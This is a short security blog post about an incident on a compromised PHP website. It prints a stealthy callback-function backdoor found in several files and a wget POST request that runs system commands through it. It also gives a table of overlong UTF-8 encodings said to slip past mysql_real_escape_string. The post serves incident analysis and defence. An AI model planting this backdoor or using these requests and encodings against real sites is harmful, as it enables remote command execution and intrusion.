/ Greyhat.dk /

Kim Gert Nielsen


PHP callback function backdoor

I recently had an incident at a customers website where the site was compromised. The customer went through the code and found several SQL injections, XSS and newly added files with backdoors (basic evals in PHP). All vulnerabilities was fixed (According to the customer) but about a month later the site was compromised again. Unfortunately no version control was used so we had to go through all files to help the customer and the log had no indications of successful attempts.

In several files I found code like this

    @array_diff_ukey(@array((string)$_REQUEST['list']=>1), @array((string)stripslashes($_REQUEST['list2'])=>2),$_REQUEST['var']);

It took me a while to fully understand what this is. This is a quite clever backdoor and the reason why its was not detected in apaches log is that POST was used to execute the command for compromising.

So in order to execute a command on the system all the attacker had to do was

    $ wget -S -O - --post-data 'var=system&list=ls' http://example.com/g.php --2014-05-10 14:23:45-- http://example.com/g.php Resolving example.com... Connecting to example.com||:80... connected. HTTP request sent, awaiting response... HTTP/1.1 200 OK Date: Sat, 10 May 2014 12:23:45 GMT Server: Apache Connection: close Content-Type: text/html Length: unspecified [text/html] Saving to: 'STDOUT' 
    [<=> ] 0 --.-K/s
    [ <=> ] 79 --.-K/s in 0s
    2014-05-10 14:23:45 (428 KB/s) - written to stdout [79]

Nice directory listing :) I’m pretty sure you can find alternative ways to use this then listing files. But since the customer did not find this backdoor using a review it really proves a few things.

  • Always use version control on your software (Subversion, Git etc)
  • Always sanitize input
  • Hire developers who knows the current languages pitfalls, know how to review code.

Another thing I found was a heavy usage of the php function mysql_real_escape_string. The function does not provide any real security since it does not handle overlong UTF-8 chars.

    ' = %27 = %c0%a7 = %e0%80%a7 = %f0%80%80%a7 
    " = %22 = %c0%a2 = %e0%80%a2 = %f0%80%80%a2 
    < = %3c = %c0%bc = %e0%80%bc = %f0%80%80%bc
    ; = %3b = %c0%bb = %e0%80%bb = %f0%80%80%bb 
    & = %26 = %c0%a6 = %e0%80%a6 = %f0%80%80%a6 
    \0= % 00 = %c0%80 = %e0%80%80 = %f0%80%80%80